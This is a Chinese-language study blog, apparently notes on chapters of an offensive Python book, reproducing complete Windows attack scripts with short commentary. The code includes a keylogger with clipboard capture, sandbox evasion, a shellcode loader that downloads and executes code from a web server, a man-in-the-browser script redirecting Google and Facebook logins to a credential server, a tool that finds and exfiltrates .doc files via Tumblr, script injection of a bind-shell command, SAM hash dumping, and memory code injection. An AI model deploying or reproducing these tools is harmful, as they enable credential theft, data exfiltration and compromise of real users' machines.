動機

這是對我來說最hardcore的部分 都沒接觸過啊

windows system programming memory forensics code injection (binary & shell code)

超hardcode

CH8

主要是讓大家看看ctypes與pyhook的操作

ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.

The pyHook package provides callbacks for global mouse and keyboard events in Windows. Python applications register event handlers for user input events such as left mouse down, left mouse up, key down, etc. and set the keyboard and/or mouse hook

keylogger.py

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    # get a handle to the foreground window
    hwnd = user32.GetForegroundWindow()

    # find the process ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # store the current process ID
    process_id = "%d" % pid.value

    # grab the executable
    executable = create_string_buffer(b'\x00' * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

    # now read it's title
    window_title = create_string_buffer(b'\x00' * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # print out the header if we're in the right process
    print()
    print("[ PID: %s - %s - %s ]" % (process_id,
                                     executable.value,
                                     window_title.value)
          )
    print()

    # close handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event):
    global current_window

    # check to see if target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # if they pressed a standard key
    if 32 < event.Ascii < 127:
        print(chr(event.Ascii), end=' ')
    else:
        # if [Ctrl-V], get the value on the clipboard
        # added by Dan Frisch 2014
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print("[PASTE] - %s" % pasted_value, end=' ')
        else:
            print("[%s]" % event.Key, end=' ')

    # pass execution to next hook registered 
    return True


# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()

就是掛callback這沒問題 但要注意的是handler 可以看成windows programming的參考(或是ptr)


screenshotter.py

import win32gui
import win32ui
import win32con
import win32api

# grab a handle to the main desktop window
hdesktop = win32gui.GetDesktopWindow()

# determine the size of all monitors in pixels
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# create a device context
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# create a memory based device context
mem_dc = img_dc.CreateCompatibleDC()

# create a bitmap object
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# copy the screen into our memory device context
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# save the bitmap to a file
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# free our objects
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

Device Contexts(DC)就是呈現(或放置)圖像的地方 這code有三個DC

  1. desktop
  2. memory(放圖的地方)
  3. bitmap(圖檔)

詳細的Device Contexts要搭配GDI programming來看

整個流程是 desktop -> memory -> bitmap -> .bmp


sandbox_detect.py

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

keystrokes = 0
mouse_clicks = 0
double_clicks = 0


class LASTINPUTINFO(ctypes.Structure):
    _fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)]


def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

    # get last input registered
    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

    # now determine how long the machine has been running
    run_time = kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print("[*] It's been %d milliseconds since the last input event." % elapsed)
    return elapsed


def get_key_press():
    global mouse_clicks
    global keystrokes

    for i in range(0, 0xff):
        if user32.GetAsyncKeyState(i) == -32767:
            # 0x1 is the code for a left mouse click
            if i == 1:
                mouse_clicks += 1
                return time.time()
            else:
                keystrokes += 1
    return None


def detect_sandbox():
    global mouse_clicks
    global keystrokes

    max_keystrokes = random.randint(10, 25)
    max_mouse_clicks = random.randint(5, 25)

    double_clicks = 0
    max_double_clicks = 10
    double_click_threshold = 0.250
    first_double_click = None

    average_mousetime = 0
    max_input_threshold = 30000

    previous_timestamp = None
    detection_complete = False

    last_input = get_last_input()

    # if we hit our threshold let's bail out
    if last_input >= max_input_threshold:
        sys.exit(0)

    while not detection_complete:
        keypress_time = get_key_press()
        if keypress_time is not None and previous_timestamp is not None:

            # calculate the time between double clicks
            elapsed = keypress_time - previous_timestamp

            # the user double clicked
            if elapsed <= double_click_threshold:
                double_clicks += 1

                if first_double_click is None:

                    # grab the timestamp of the first double click
                    first_double_click = time.time()

                else:
                    # did they try to emulate a rapid succession of clicks?   
                    if double_clicks == max_double_clicks:
                        if keypress_time - first_double_click <= (
                                max_double_clicks * double_click_threshold):
                            sys.exit(0)

            # we are happy there's enough user input
            if keystrokes >= max_keystrokes \
                    and double_clicks >= max_double_clicks \
                    and mouse_clicks >= max_mouse_clicks:
                return
            previous_timestamp = keypress_time

        elif keypress_time is not None:
            previous_timestamp = keypress_time


detect_sandbox()
print("We are ok!")

用按鍵次數來判斷我們是不是在sanbox中,因為sandbox通常是自動化操作 所以按鍵次數相對固定

有趣的是這裡處理按鍵是用ctypes硬幹,其實也可以用pyhooks


shell_exec.py

import base64
import ctypes
import urllib.request

# retrieve the shellcode from our web server
url = "http://localhost:8000/shellcode.bin"
response = urllib.request.urlopen(url)

# decode the shellcode from base64 
shellcode = base64.b64decode(response.read())

# create a buffer in memory
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# create a function pointer to our shellcode
shellcode_func = ctypes.cast(shellcode_buffer,
                             ctypes.CFUNCTYPE(ctypes.c_void_p))

# call our shellcode
shellcode_func()

把bytes傳型成CFUNCTYPE來執行 很有趣!!

不過要怎麼產生.bin? 參考CANVAS或是Metasploits

CH9

CLE automation?? mitb.py

import time
import urllib.parse
import win32com.client

data_receiver = "http://localhost:8080/"

target_sites = {
    "www.facebook.com":
        {
            "logout_url": None,
            "logout_form": "logout_form",
            "login_form_index": 0,
            "owned": False
        },
    "accounts.google.com":
        {
            "logout_url": "https://accounts.google.com/Logout?hl=en&continue="
                          "https://accounts.google.com/"
                          "ServiceLogin%3Fservice%3Dmail",
            "logout_form": None,
            "login_form_index": 0,
            "owned": False
        }
}

target_sites["www.gmail.com"] = target_sites["accounts.google.com"]
target_sites["mail.google.com"] = target_sites["accounts.google.com"]

clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

windows = win32com.client.Dispatch(clsid)


def wait_for_browser(browser):
    # wait for the browser to finish loading a page
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)
    return


while True:
    for browser in windows:
        url = urllib.parse.urlparse(browser.LocationUrl)
        if url.hostname in target_sites:
            if target_sites[url.hostname]["owned"]:
                continue
            # if there is a URL we can just redirect
            if target_sites[url.hostname]["logout_url"]:
                browser.Navigate(target_sites[url.hostname]["logout_url"])
                wait_for_browser(browser)
            else:
                # retrieve all elements in the document
                full_doc = browser.Document.all
                # iterate looking for the logout form
                for i in full_doc:
                    try:
                        # find the logout form and submit it
                        if i.id == target_sites[url.hostname]["logout_form"]:
                            i.submit()
                            wait_for_browser(browser)
                    except:
                        pass
            try:
                # now we modify the login form
                login_index = target_sites[url.hostname]["login_form_index"]
                login_page = urllib.parse.quote(browser.LocationUrl)
                browser.Document.forms[login_index].action = "%s%s" % (
                    data_receiver, login_page)
                target_sites[url.hostname]["owned"] = True
            except:
                pass
        time.sleep(5)

這邊的想法是,先把user給logout,再把登入的request傳送到自己的http server來顯示資料,在forward到原本的server

這邊是攔截ie的資料,那要ie幫忙的方法就是OLE Automation 就是

clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' # 可以當成程式在windows的是識別碼,就是座號啦
# 如何拿clsid?
# https://www.c-sharpcorner.com/blogs/how-to-find-clsid-of-a-dll

windows = win32com.client.Dispatch(clsid) # 註冊OLE automation

這兩行做的事


ie_exfil.py

import win32com.client
import os
import fnmatch
import time
import random
import zlib
import base64

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

doc_type = ".doc"
username = "test@test.com"
password = "testpassword"

public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyXUTgFoL/2EPKoN31l5T
lak7VxhdusNCWQKDfcN5Jj45GQ1oZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+T
h/zlVPjp0hgC6nOKOuwmlQ1jGvfVvaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls
2N7Pu5N1FLRW5PMhk6GW5rzVhwdDvnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79
ix4qXwYLe66CrgCHDf4oBJ/nO1oYwelxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6
YLZuR2u5KUbr9uabEzgtrLyOeoK8UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS
1wIDAQAB
-----END PUBLIC KEY-----"""


def wait_for_browser(browser):
    # wait for the browser to finish loading a page
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)
    return


def encrypt_string(plaintext):
    chunk_size = 208
    if isinstance(plaintext, (str)):
        plaintext = plaintext.encode()
    print("Compressing: %d bytes" % len(plaintext))
    plaintext = zlib.compress(plaintext)
    print("Encrypting %d bytes" % len(plaintext))

    rsakey = RSA.importKey(public_key)
    rsakey = PKCS1_OAEP.new(rsakey)
    encrypted = b""
    offset = 0

    while offset < len(plaintext):
        chunk = plaintext[offset:offset + chunk_size]
        if len(chunk) % chunk_size != 0:
            chunk += b" " * (chunk_size - len(chunk))
        encrypted += rsakey.encrypt(chunk)
        offset += chunk_size

    encrypted = base64.b64encode(encrypted)
    print("Base64 encoded crypto: %d" % len(encrypted))
    return encrypted


def encrypt_post(filename):
    # open and read the file
    fd = open(filename, "rb")
    contents = fd.read()
    fd.close()

    encrypted_title = encrypt_string(filename)
    encrypted_body = encrypt_string(contents)

    return encrypted_title, encrypted_body


def random_sleep():
    time.sleep(random.randint(5, 10))
    return


def login_to_tumblr(ie):
    # retrieve all elements in the document
    full_doc = ie.Document.all

    # iterate looking for the logout form
    for i in full_doc:
        if i.id == "signup_email":
            i.setAttribute("value", username)
        elif i.id == "signup_password":
            i.setAttribute("value", password)

    random_sleep()

    # you can be presented with different homepages
    try:
        if ie.Document.forms[0].id == "signup_form":
            ie.Document.forms[0].submit()
        else:
            ie.Document.forms[1].submit()
    except IndexError:
        pass

    random_sleep()

    # the login form is the second form on the page
    wait_for_browser(ie)
    return


def post_to_tumblr(ie, title, post):
    full_doc = ie.Document.all

    for i in full_doc:
        if i.id == "post_one":
            i.setAttribute("value", title)
            title_box = i
            i.focus()
        elif i.id == "post_two":
            i.setAttribute("innerHTML", post)
            print("Set text area")
            i.focus()
        elif i.id == "create_post":
            print("Found post button")
            post_form = i
            i.focus()

    # move focus away from the main content box        
    random_sleep()
    title_box.focus()
    random_sleep()

    # post the form
    post_form.children[0].click()
    wait_for_browser(ie)

    random_sleep()
    return


def exfiltrate(document_path):
    ie = win32com.client.Dispatch("InternetExplorer.Application")
    ie.Visible = 1

    # head to tumblr and login
    ie.Navigate("http://www.tumblr.com/login")
    wait_for_browser(ie)

    print("Logging in...")
    login_to_tumblr(ie)
    print("Logged in...navigating")

    ie.Navigate("https://www.tumblr.com/new/text")
    wait_for_browser(ie)

    # encrypt the file
    title, body = encrypt_post(document_path)

    print("Creating new post...")
    post_to_tumblr(ie, title, body)
    print("Posted!")

    # Destroy the IE instance
    ie.Quit()
    ie = None

    return


# main loop for document discovery
for parent, directories, filenames in os.walk("C:\\"):
    for filename in fnmatch.filter(filenames, "*%s" % doc_type):
        document_path = os.path.join(parent, filename)
        print("Found: %s" % document_path)
        exfiltrate(document_path)
        input("Continue?")

加密filepath,po到tumblr去


keygen.py & decryptor.py

import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

new_key = RSA.generate(2048)

public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM") 

encrypted = """XxfaX7nfQ48K...................G2V+2zuq6ol8Cs="""

private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAyXUTgFoL/2EPKoN31l5Tlak7VxhdusNCWQKDfcN5Jj45GQ1o
...................................
vOGHt9D9yo3DOhyvJbedpi3u3g13G+FZFw6d1T8Jzm5eZUvG7WeUtg==
-----END RSA PRIVATE KEY-----"""

rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey)

offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted)

while offset < len(encrypted):
    decrypted += rsakey.decrypt(encrypted[offset:offset + 256])
    offset += 256

# now we decompress to original
plaintext = zlib.decompress(decrypted)

print(plaintext)

就是加解密,原本是兩個檔案,但因為這很好理解他們想幹嘛,同時又都不長,就合併在一起了


cred_server.py

import http.server
import socketserver
import urllib.error
import urllib.parse
import urllib.request


class CredRequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        creds = self.rfile.read(content_length).decode('utf-8')
        print(creds)
        site = self.path[1:]
        self.send_response(301)
        self.send_header('Location', urllib.parse.unquote(site))
        self.end_headers()


server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
server.serve_forever()

就是會顯示request的http server

CH10

這裡的目的是找出

高權限process會使用的檔案,但其檔案可以被低權限的使用者取用的檔案

以此繞過權限管制

下面的兩個code就是分別

  1. 找出高權限(有趣的)process
  2. 當檔案被修改時插入我們的code

process_monitor.py

import win32con
import win32api
import win32security
import wmi
import os

LOG_FILE = "process_monitor_log.csv"


def get_process_privileges(pid):
    try:
        # obtain a handle to the target process
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,
                                     False,
                                     pid)

        # open the main process token
        htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)

        # retrieve the list of privileges enabled
        privs = win32security.GetTokenInformation(
            htok,
            win32security.TokenPrivileges)

        # iterate over privileges and output the ones that are enabled
        priv_list = []
        for priv_id, priv_flags in privs:
            # check if the privilege is enabled
            if priv_flags == 3:
                priv_list.append(
                    win32security.LookupPrivilegeName(None, priv_id))

    except:
        priv_list.append("N/A")

    return "|".join(priv_list)


def log_to_file(message):
    fd = open(LOG_FILE, "ab")
    fd.write("%s\r\n" % message)
    fd.close()
    return


# create a log file header
if not os.path.isfile(LOG_FILE):
    log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges")

# instantiate the WMI interface
c = wmi.WMI()

# create our process monitor
process_watcher = c.Win32_Process.watch_for("creation")

while True:
    try:
        new_process = process_watcher()
        proc_owner = new_process.GetOwner()
        proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])
        create_date = new_process.CreationDate
        executable = new_process.ExecutablePath
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId

        privileges = get_process_privileges(pid)

        process_log_message = "%s,%s,%s,%s,%s,%s,%s" % (
            create_date, proc_owner, executable, cmdline, pid, parent_pid,
            privileges)

        print("%s\r\n" % process_log_message)

        log_to_file(process_log_message)
    except:
        pass

把所有新產生的process的權限列出來 這邊使用的是windows WMI API

這邊有一些有趣的權限,但就不列出詳細的作用(懶)

  • SeBackupPrivilege
  • SeDebugPrivilege
  • SeLoadDriver

file_monitor.py

# Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import tempfile
import threading
import win32file
import win32con
import os

# these are the common temp file directories
dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()]

# file modification constants
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

# extension based code snippets to inject
file_types = {}
command = "C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n",
                      "\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"
                      % command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command]


def inject_code(full_filename, extension, contents):
    # is our marker already in the file?
    if file_types[extension][0] in contents:
        return

    # no marker let's inject the marker and code
    full_contents = file_types[extension][0]
    full_contents += file_types[extension][1]
    full_contents += contents

    fd = open(full_filename, "wb")
    fd.write(full_contents.encode())
    fd.close()

    print("[\o/] Injected code.")

    return


def start_monitor(path_to_watch):
    # we create a thread for each monitoring run
    file_list_directory = 0x0001

    h_directory = win32file.CreateFile(
        path_to_watch,
        file_list_directory,
        win32con.FILE_SHARE_READ
        | win32con.FILE_SHARE_WRITE
        | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)

    while 1:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_SIZE |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
            )

            for action, file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)

                if action == FILE_CREATED:
                    print("[ + ] Created %s" % full_filename)
                elif action == FILE_DELETED:
                    print("[ - ] Deleted %s" % full_filename)
                elif action == FILE_MODIFIED:
                    print("[ * ] Modified %s" % full_filename)

                    # dump out the file contents
                    print("[vvv] Dumping contents...")

                    try:
                        fd = open(full_filename, "rb")
                        contents = fd.read()
                        fd.close()
                        print(contents)
                        print("[^^^] Dump complete.")
                        filename, extension = os.path.splitext(full_filename)
                        if extension in file_types:
                            inject_code(full_filename, extension, contents)
                    except:
                        print("[!!!] Failed.")

                elif action == FILE_RENAMED_FROM:
                    print("[ > ] Renamed from: %s" % full_filename)
                elif action == FILE_RENAMED_TO:
                    print("[ < ] Renamed to: %s" % full_filename)
                else:
                    print("[???] Unknown: %s" % full_filename)
        except:
            pass


for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor, args=(path,))
    print("Spawning monitoring thread for path: %s" % path)
    monitor_thread.start()

當script file被改的時候,插入我們的code

CH11

示範Volatility的使用 這裡是利用Volatility針對惡意程式分析的tutorial

grabhashes.py

import sys
import volatility.conf as conf
import volatility.registry as registry
import volatility.commands as commands
import volatility.addrspace as addrspace
from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump

memory_file = "WinXPSP2.vmem"

sys.path.append("/Downloads/volatility-2.3.1")

registry.PluginImporter()
config = conf.ConfObject()

config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file

registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

registry = RegistryApi(config)
registry.populate_offsets()

sam_offset = None
sys_offset = None

for offset in registry.all_offsets:

    if registry.all_offsets[offset].endswith("\\SAM"):
        sam_offset = offset
        print("[*] SAM: 0x%08x" % offset)

    if registry.all_offsets[offset].endswith("\\system"):
        sys_offset = offset
        print("[*] System: 0x%08x" % offset)

    if sam_offset is not None and sys_offset is not None:
        config.sys_offset = sys_offset
        config.sam_offset = sam_offset
        hashdump = HashDump(config)

        for hash in hashdump.calculate():
            print(hash)
        break

if sam_offset is None or sys_offset is None:
    print("[*] Failed to find the system or SAM offsets.")

windows的本機密碼放在SAM registry hive 開機金鑰放在system registry hive

用指令會是

python vol.py imageinfo -f "memdump.img" # get suggested profile
python vol.py hivelist --profile="WinXPSP2x86" -f "memdump.vmem"
# Virual Physical Name
# ------ -------- ----
# ...
# abc    def      \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
# ghi    jkl      \Device\HarddiskVolume1\WINDOWS\system32\config\system
# ...
python vol.py hashdump --profile="WinXPSP2x86" -f "memdump.vmem" -y ghi -s abc

codecoverage.py

from immlib import *


class CcHook(LogBpHook):

    def __init__(self):
        LogBpHook.__init__(self)
        self.imm = Debugger()

    def run(self, regs):
        self.imm.log("%08x" % regs['EIP'], regs['EIP'])
        self.imm.deleteBreakpoint(regs['EIP'])
        return


def main(args):
    imm = Debugger()

    calc = imm.getModule("calc.exe")
    imm.analyseCode(calc.getCodebase())

    functions = imm.getAllFunctions(calc.getCodebase())

    hooker = CcHook()

    for function in functions:
        hooker.add("%08x" % function, function)

    return "Tracking %d functions." % len(functions)

這個是為了找出特定function的記憶體位置 利用Immunity Debugger的breakpoint把記憶體位置在中斷時列出來 使用方法!code_coverage


code_inject.py

import sys
import struct
import volatility.conf as conf
import volatility.registry as registry
import volatility.commands as commands
import volatility.addrspace as addrspace
import volatility.plugins.taskmods as taskmods

equals_button = 0x01005D51 # from codecoverage.py

memory_file = "/Users/justin/Documents/Virtual Machines.localized/" \
              "Windows Server 2003 Standard Edition.vmwarevm/" \
              "564d9400-1cb2-63d6-722b-4ebe61759abd.vmem"
slack_space = None
trampoline_offset = None

# read in our shellcode
sc_fd = open("cmeasure.bin", "rb")
sc = sc_fd.read()
sc_fd.close()

sys.path.append("/Downloads/volatility-2.3.1")

registry.PluginImporter()
config = conf.ConfObject()

registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE = "Win2003SP2x86"
config.LOCATION = "file://%s" % memory_file

p = taskmods.PSList(config) # Print all running processes by following the EPROCESS lists.

for process in p.calculate():
    if str(process.ImageFileName) == "calc.exe":
        print("[*] Found calc.exe with PID %d" % process.UniqueProcessId)
        print("[*] Hunting for physical offsets...please wait.")

        address_space = process.get_process_address_space()
        pages = address_space.get_available_pages()

        for page in pages:
            physical = address_space.vtop(page[0]) # page[0]是位置 page[1]是大小
            if physical is not None:
                if slack_space is None:
                    fd = open(memory_file, "r+")
                    fd.seek(physical)
                    buf = fd.read(page[1])
                    try:
                        offset = buf.index("\x00" * len(sc))
                        slack_space = page[0] + offset

                        print("[*] Found good shellcode location!")
                        print("[*] Virtual address: 0x%08x" % slack_space)
                        print("[*] Physical address: 0x%08x" % (
                                physical + offset))
                        print("[*] Injecting shellcode.")

                        fd.seek(physical + offset)
                        fd.write(sc.decode())
                        fd.flush()

                        # create our trampoline
                        tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
                        tramp += "\xff\xe3"
			# mov ebx, ADDR_OF_SHELLCODE
			# jmp ebx

                        if trampoline_offset is not None:
                            break

                    except:
                        pass

                    fd.close()

                # check for our target code location
                if page[0] <= equals_button < ((page[0] + page[1]) - 7):

                    # calculate virtual offset
                    v_offset = equals_button - page[0]

                    # now calculate physical offset
                    trampoline_offset = physical + v_offset

                    print("[*] Found our trampoline target at: 0x%08x" % (
                        trampoline_offset))
                    if slack_space is not None:
                        break

        print("[*] Writing trampoline...")

        fd = open(memory_file, "r+")
        fd.seek(trampoline_offset)
        fd.write(tramp)
        fd.close()

        print("[*] Done injecting code.")

這是針對vm的記憶體快照的code injection 流程如下

  1. 找calc.exe
  2. 找適合放的空記憶體的起始位置
  3. 放轉跳的code